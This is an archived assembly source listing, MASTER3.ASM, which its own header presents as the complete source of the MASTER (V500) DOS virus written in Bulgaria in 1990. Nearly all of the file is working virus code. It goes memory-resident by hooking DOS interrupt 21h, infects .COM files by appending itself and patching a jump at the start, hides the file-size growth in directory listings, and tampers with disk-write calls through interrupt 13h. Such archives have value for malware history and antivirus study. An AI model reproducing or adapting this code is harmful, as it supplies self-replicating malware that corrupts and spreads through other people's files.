home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MASTER3.ASM < prev    next >
Assembly Source File  |  1991-03-30  |  7KB  |  308 lines

  1. ;        (C) Copyright VirusSoft Corp.  Sep., 1990
  2. ;
  3. ;   This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
  4. ;   virus, distributed by VirusSoft company . First version was made
  5. ;   in   May., 1990 . Please don't make any corections in this file !
  6. ;
  7. ;                        Bulgaria, Varna
  8. ;                        Sep. 27, 1990
  9.  
  10.  
  11.  
  12.          ofs = 201h
  13.          len = offset end-ofs
  14.  
  15.          call  $+6
  16.  
  17.          org   ofs
  18.  
  19. first:   dw    020cdh
  20.          db    0
  21.  
  22.          xchg  ax,dx
  23.          pop   di
  24.          dec   di
  25.          dec   di
  26.          mov   si,[di]
  27.          dec   di
  28.          add   si,di
  29.          push  cs
  30.          push  di
  31.          cld
  32.          movsw
  33.          movsb
  34.  
  35.          mov   ax,4b04h
  36.          int   21h
  37.          jnc   residnt
  38.  
  39.          xor   ax,ax
  40.          mov   es,ax
  41.          mov   di,ofs+3
  42.          mov   cx,len-3
  43.          rep   movsb
  44.  
  45.          les   di,[6]
  46.          mov   al,0eah
  47.          dec   cx
  48.          repne scasb
  49.          les   di,es:[di]         ; Searching for the INT21 vector
  50.          sub   di,-1ah-7
  51.  
  52.          db    0eah
  53.          dw    offset jump,0      ; jmp far 0000:jump
  54.  
  55. jump:    push  es
  56.          pop   ds
  57.          mov   si,[di+3-7]        ;
  58.          lodsb                    ;
  59.          cmp   al,68h             ; compare DOS Ver
  60.          mov   [di+4-7],al        ; Change CMP AH,CS:[????]
  61.          mov   [di+2-7],0fc80h    ;
  62.          mov   [di-7],0fccdh      ;
  63.  
  64.          push  cs
  65.          pop   ds
  66.  
  67.          mov   [1020],di          ; int  0ffh
  68.          mov   [1022],es
  69.  
  70.          mov   beg-1,byte ptr not3_3-beg
  71.          jb    not3.3             ; CY = 0  -->  DOS Ver > or = 3.30
  72.          mov   beg-1,byte ptr 0
  73.          mov   [7b4h],offset pr7b4
  74.          mov   [7b6h],cs          ; 7b4
  75.  
  76. not3.3:  mov   al,0a9h            ; Change attrib
  77. cont:    repne scasb
  78.          cmp   es:[di],0ffd8h
  79.          jne   cont
  80.          mov   al,18h
  81.          stosb
  82.  
  83.          push  ss
  84.          pop   ds
  85.  
  86.          push  ss
  87.          pop   es
  88.  
  89. residnt: xchg  ax,dx
  90.          retf                     ; ret   far
  91.  
  92. ;--------Interrupt process--------;
  93.  
  94. i21pr:   push  ax
  95.          push  dx
  96.          push  ds
  97.          push  cx
  98.          push  bx
  99.          push  es
  100.  
  101. if4b04:  cmp   ax,4b04h
  102.          je    rti
  103.  
  104.          xchg  ax,cx
  105.          mov   ah,02fh
  106.          int   0ffh
  107.  
  108. if11_12: cmp   ch,11h
  109.          je    yes
  110.          cmp   ch,12h
  111.          jne   inffn
  112. yes:     xchg  ax,cx
  113.          int   0ffh
  114.          push  ax
  115.          test  es:byte ptr [bx+19],0c0h
  116.          jz    normal
  117.          sub   es:[bx+36],len
  118. normal:  pop   ax
  119. rti:     pop   es
  120.          pop   bx
  121.          pop   cx
  122.          add   sp,12
  123.          iret
  124.  
  125. inffn:   mov   ah,19h
  126.          int   0ffh
  127.          push  ax
  128.  
  129. if36:    cmp   ch,36h             ; -free bytes
  130.          je    beg_36
  131. if4e:    cmp   ch,4eh             ; -find first FM
  132.          je    beg_4b
  133. if4b:    cmp   ch,4bh             ; -exec
  134.          je    beg_4b
  135. if47:    cmp   ch,47h             ; -directory info
  136.          jne   if5b
  137.          cmp   al,2
  138.          jae   begin              ; it's hard-disk
  139. if5b:    cmp   ch,5bh             ; -create new
  140.          je    beg_4b
  141. if3c_3d: shr   ch,1               ; > -open & create
  142.          cmp   ch,1eh             ;   -
  143.          je    beg_4b
  144.  
  145.          jmp   rest
  146.  
  147. beg_4b:  mov   ax,121ah
  148.          xchg  dx,si
  149.          int   2fh
  150.          xchg  ax,dx
  151.          xchg  ax,si
  152.  
  153. beg_36:  mov   ah,0eh             ; change current drive
  154.          dec   dx                 ;
  155.          int   0ffh               ;
  156.  
  157. begin:
  158.          push  es                 ; save DTA address
  159.          push  bx                 ;
  160.          sub   sp,44
  161.          mov   dx,sp              ; change DTA
  162.          push  sp
  163.          mov   ah,1ah
  164.          push  ss
  165.          pop   ds
  166.          int   0ffh
  167.          mov   bx,dx
  168.  
  169.          push  cs
  170.          pop   ds
  171.  
  172.          mov   ah,04eh
  173.          mov   dx,offset file
  174.          mov   cx,3               ; r/o , hidden
  175.          int   0ffh               ; int   21h
  176.          jc    lst
  177.  
  178. next:    test  ss:[bx+21],byte ptr 80h
  179.          jz    true
  180. nxt:     mov   ah,4fh             ; find next
  181.          int   0ffh
  182.          jnc   next
  183. lst:     jmp   last
  184.  
  185. true:    cmp   ss:[bx+27],byte ptr 0fdh
  186.          ja    nxt
  187.          mov   [144],offset i24pr
  188.          mov   [146],cs
  189.  
  190.          les   ax,[4ch]           ; int 13h
  191.          mov   i13adr,ax
  192.          mov   i13adr+2,es
  193.          jmp   short $
  194. beg:     mov   [4ch],offset i13pr
  195.          mov   [4eh],cs
  196.          ;
  197. not3_3:  push  ss
  198.          pop   ds
  199.          push  [bx+22]            ; time +
  200.          push  [bx+24]            ; date +
  201.          push  [bx+21]            ; attrib +
  202.          lea   dx,[bx+30]         ; ds : dx = offset file name
  203.          mov   ax,4301h           ; Change attrib !!!
  204.          pop   cx
  205.          and   cx,0feh            ; clear r/o and CH
  206.          or    cl,0c0h            ; set Infect. attr
  207.          int   0ffh
  208.  
  209.          mov   ax,03d02h          ; open
  210.          int   0ffh               ; int   21h
  211.          xchg  ax,bx
  212.  
  213.          push  cs
  214.          pop   ds
  215.  
  216.          mov   ah,03fh
  217.          mov   cx,3
  218.          mov   dx,offset first
  219.          int   0ffh
  220.  
  221.          mov   ax,04202h          ; move fp to EOF
  222.          xor   dx,dx
  223.          mov   cx,dx
  224.          int   0ffh
  225.          mov   word ptr cal_ofs+1,ax
  226.  
  227.          mov   ah,040h
  228.          mov   cx,len
  229.          mov   dx,ofs
  230.          int   0ffh
  231.          jc    not_inf
  232.  
  233.          mov   ax,04200h
  234.          xor   dx,dx
  235.          mov   cx,dx
  236.          int   0ffh
  237.  
  238.          mov   ah,040h
  239.          mov   cx,3
  240.          mov   dx,offset cal_ofs
  241.          int   0ffh
  242.  
  243. not_inf: mov   ax,05701h
  244.          pop   dx                 ; date
  245.          pop   cx                 ; time
  246.          int   0ffh
  247.  
  248.          mov   ah,03eh            ; close
  249.          int   0ffh
  250.  
  251.          les   ax,dword ptr i13adr
  252.          mov   [4ch],ax           ; int 13h
  253.          mov   [4eh],es
  254.  
  255. last:    add   sp,46
  256.          pop   dx
  257.          pop   ds                 ; restore DTA
  258.          mov   ah,1ah
  259.          int   0ffh
  260.  
  261. rest:    pop   dx                 ; restore current drive
  262.          mov   ah,0eh             ;
  263.          int   0ffh               ;
  264.  
  265.          pop   es
  266.          pop   bx
  267.          pop   cx
  268.          pop   ds
  269.          pop   dx
  270.          pop   ax
  271.  
  272. i21cl:   iret                     ; Return from INT FC
  273.  
  274. i24pr:   mov   al,3               ; Critical errors
  275.          iret
  276.  
  277. i13pr:   cmp   ah,3
  278.          jne   no
  279.          inc   byte ptr cs:activ
  280.          dec   ah
  281. no:      jmp   dword ptr cs:i13adr
  282.  
  283. pr7b4:         db    2eh,0d0h,2eh
  284.                dw    offset activ
  285. ;        shr   cs:activ,1
  286.          jnc   ex7b0
  287.          inc   ah
  288. ex7b0:   jmp   dword ptr cs:[7b0h]
  289.  
  290. ;--------
  291.  
  292. file:    db    "*",32,".COM"
  293.  
  294. activ:   db    0
  295.  
  296.          dw    offset i21pr      ; int 0fch
  297.          dw    0
  298.  
  299. cal_ofs: db    0e8h
  300.  
  301. end:
  302.          dw    ?                  ; cal_ofs
  303.  
  304. i13adr:  dw    ?
  305.          dw    ?
  306.  
  307.  
  308. ; The End.